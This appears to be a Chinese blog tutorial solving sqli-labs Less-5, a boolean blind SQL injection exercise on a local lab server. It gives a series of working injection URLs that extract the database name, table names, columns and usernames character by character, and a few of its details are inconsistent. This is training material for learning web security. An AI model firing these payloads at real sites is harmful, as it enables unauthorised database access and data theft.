sql-libs——less5(盲注)

首先打开页面,输入? id=1,发现没有任何数据爆出在这里插入图片描述这时把ID换成一个不存在数据-1试一下,发现连 you are in …都没有了,这就是典型的盲注,正确时显示you are in …,不正确时什么也不显示。

http://192.168.0.5:9002/Less-5/?id=-1

在这里插入图片描述'试一下,发现报错,说明存在SQL注入漏洞。
http://192.168.0.5:9002/Less-5/?id=-1'
在这里插入图片描述
首先我们使用length()函数获取数据库名字的长度
这里呢等于7没有返回任何信息,证明数据库的名字不为7

http://192.168.0.5:9002/Less-5/?id=1' and length(database())=7--+

在这里插入图片描述=8这时页面返回正常内容,说明数据库的名字长度为8,这里也可以使用< >大于小于等符号进行大致范围判断。
在这里插入图片描述根据上述操作我们已知数据的长度为8
这里呢我们使用left函数,来猜测数据库每一位的字母
LEFT(str,len):返回最左边的n个字符的字符串str,或NULL如果任何参数是NULL。

 http://192.168.0.5:9002/Less-5/?id=1' and left(database(),1)='s' --+

在这里插入图片描述更换left参数,逐个猜解数据库名称

192.168.0.5:9002/Less-5/?id=1' and left(database(),2)='se' --+

在这里插入图片描述
最后得到left(database(),8)=‘security’

根据上述的方法进行尝试,得到第一个表名email

http://192.168.31.164:9002/Less-5/?id=1’ and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),2)=‘ba’ --+

在这里插入图片描述
数据库中不只有一个表,在查询第二个表时需要使用limit
其中limit(参数1,参数2)
参数1代表:返回第几行,从0开始算
参数2代表:返回几条数据。

http://192.168.31.164:9002/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema='security' LIMIT 1,1),2)='em' --+

此时不能使用group_concat()函数,该函数的意思是所查询的数据合成一条数据,中间使用分割,而limit()只能返回某一行,如果使用group_concat()返回一行数据,则不能判别表的名字。
更换limit()中的参数1,来猜表名;

http://192.168.31.164:9002/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema='security' LIMIT 1,1),3)='ema' --+

http://192.168.31.164:9002/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema='security' LIMIT 2,1),1)='r' --+


依次猜解表名。
最后得到有用的表名users
猜解字段同上

http://192.168.31.164:9002/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1 )='u' --+

猜解数据,方法同上

http://192.168.31.164:9002/Less-5/?id=1' and left((select username from security.users limit 0,1),1 )='d' --+

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

midsummer_woo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值